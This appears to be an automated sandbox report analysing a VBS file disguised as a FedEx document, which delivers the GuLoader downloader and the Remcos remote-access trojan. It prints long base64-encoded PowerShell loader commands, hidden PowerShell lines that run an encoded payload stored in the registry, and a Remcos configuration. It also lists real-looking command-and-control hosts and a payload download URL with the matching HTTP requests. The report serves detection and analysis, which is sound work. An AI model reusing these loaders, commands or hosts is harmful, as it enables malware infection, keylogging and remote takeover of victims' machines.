ALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUA
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUA
            Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132872879861551741.5616.DefaultAppDomain.powershell

            Jbx Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Found malware configuration
            Source: 0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://www.wizumiya.co.jp/html/user_data/original/images/Ev"}
            Source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "rnnfibi.hopto.org:54666:1rnnfibiteammony.duckdns.org:54666:1", "Assigned name": "AS-NEW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "bguy.exe", "Startup value": "iusk-dikf-iud", "Hide file": "Disable", "Mutex": "Remcos-IXYB2Q", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}
            Multi AV Scanner detection for submitted file
            Source: 775578748333_FEDEX.vbsReversingLabs: Detection: 11%
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR
            Multi AV Scanner detection for domain / URL
            Source: rnnfibi.hopto.orgVirustotal: Detection: 5%Perma Link
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49756 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49758 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49759 version: TLS 1.2
            Source: Binary string: ieinstal.pdbGCTL source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: ieinstal.pdb source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: Microsoft.PowerShell.Commands.Managementt.pdb| source: powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmp

            Networking

            barindex
            Potential malicious VBS script found (has network functionality)
            Source: Initial file: BinaryStream.SaveToFile arges, 2
            C2 URLs / IPs found in malware configuration
            Source: Malware configuration extractorURLs: rnnfibi.hopto.org
            Source: Malware configuration extractorURLs: https://www.wizumiya.co.jp/html/user_data/original/images/Ev
            Source: global trafficTCP traffic: 192.168.2.3:49757 -> 199.195.253.181:54666
            Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
            Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
            Source: powershell.exe, 0000000C.00000002.632377605.00000000009CE000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000003.627018628.000000000364B000.00000004.00000001.sdmp, ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, powershell.exe, 0000001C.00000002.866332102.00000000007BE000.00000004.00000020.sdmp, powershell.exe, 0000001D.00000002.861142279.0000000000AC9000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.pngT
            Source: powershell.exe, 0000000C.00000002.633946561.0000000004921000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.873636132.0000000004921000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.879042376.0000000004741000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.878472669.0000000004A81000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlT
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/License
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/Pester
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/PesterT
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpString found in binary or memory: https://www.wizumiya.co.jp/=-
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpString found in binary or memory: https://www.wizumiya.co.jp/html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin
            Source: ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpString found in binary or memory: https://www.wizumiya.co.jp/u-
            Source: unknownDNS traffic detected: queries for: www.wizumiya.co.jp
            Source: global trafficHTTP traffic detected: GET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wizumiya.co.jpCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wizumiya.co.jpCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wizumiya.co.jpCache-Control: no-cache
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49756 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49758 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49759 version: TLS 1.2

            Key, Mouse, Clipboard, Microphone and Screen Capturing

            barindex
            Installs a global keyboard hook
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeWindows user hook set: 0 keyboard low level C:\Program Files (x86)\internet explorer\ieinstal.exeJump to behavior

            E-Banking Fraud

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR

            System Summary

            barindex
            Wscript starts Powershell (via cmd or directly)
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
